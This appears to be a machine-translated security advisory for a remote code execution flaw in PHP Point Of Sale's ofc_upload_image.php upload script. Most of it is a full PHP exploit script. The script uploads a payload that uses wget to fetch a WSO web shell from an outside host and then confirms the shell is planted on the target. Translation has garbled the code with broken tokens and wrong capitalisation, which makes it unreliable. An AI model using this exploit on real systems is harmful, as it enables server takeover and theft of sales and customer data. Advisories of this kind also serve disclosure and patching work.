PHP Point Of Sale 'ofc _ upload_image.php 'Remote Code Execution Vulnerability

Release date:
Updated on:

Affected Systems:
PHP Point Of Sale 12.x
PHP Point Of Sale 11.x
PHP Point Of Sale 10.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 63219

PHP Point Of Sale is an online sales Point solution.

PHP Point Of Sale 10.x, 11.x, 12. x does not properly verify the input Of the ofc_upload_image.php script, which allows remote attackers to execute arbitrary code with elevated permissions.

<* Source: Gabby

Link: http://xforce.iss.net/xforce/xfdb/88137
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<? Php
$ Options = getopt ('t: n :');
If (! Isset ($ options ['T'], $ options ['n'])
Die ("\ n [+] Simple Exploiter Point Of Sale by Gabby [+] \ n Usage: php sale. php-t http://example.com-n bie. php \ n
-T http://example.com = Target mu ..
-N bie. php = Nama file yang mau kamu pakai... \ n ");

$ Target = $ options ['T'];
$ Nama = $ options ['n'];
$ Shell = "{$ target}/application/libraries/tmp-upload-images/{$ nama }";
$ Target = "{$ target}/application/libraries/ofc-library/ofc_upload_image.php? Name = {$ nama }";
$ Data = '<? Php
System ("wget http://www.example.com/wso.txt; mv wso.txt bie. php ");
Fclose ($ handle );
?> ';
$ Headers = array ('user-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv: 15.0) Gecko/20100101 Firefox/15.0.1 ',
'Content-Type: text/plain ');
Echo "============================================== ===========\ n ";
Echo ": Simple Exploiter Point Of Sale by Gabby: \ n ";
Echo "============================================== ===========\ n \ n ";
Echo "[+] Upload Shell ke: {$ options ['T']} \ n ";
$ Handle = curl_init ();
Curl_setopt ($ handle, CURLOPT_URL, $ target );
Curl_setopt ($ handle, CURLOPT_HTTPHEADER, $ headers );
Curl_setopt ($ handle, CURLOPT_POSTFIELDS, $ data );
Curl_setopt ($ handle, CURLOPT_RETURNTRANSFER, true );
$ Source = curl_exec ($ handle );
Curl_close ($ handle );
If (! Strpos ($ source, 'undefined variable: HTTP_RAW_POST_DATA ') & @ fopen ($ shell, 'R '))
{
Echo "[+] Exploit Sukses,...: D \ n ";
Echo "[+] {$ shell} \ n ";
}
Else
{
Die ("[-] Exploit Gagal,... :( \ n ");
}

?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP Point Of Sale
-----------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Https://www.phppointofsale.com/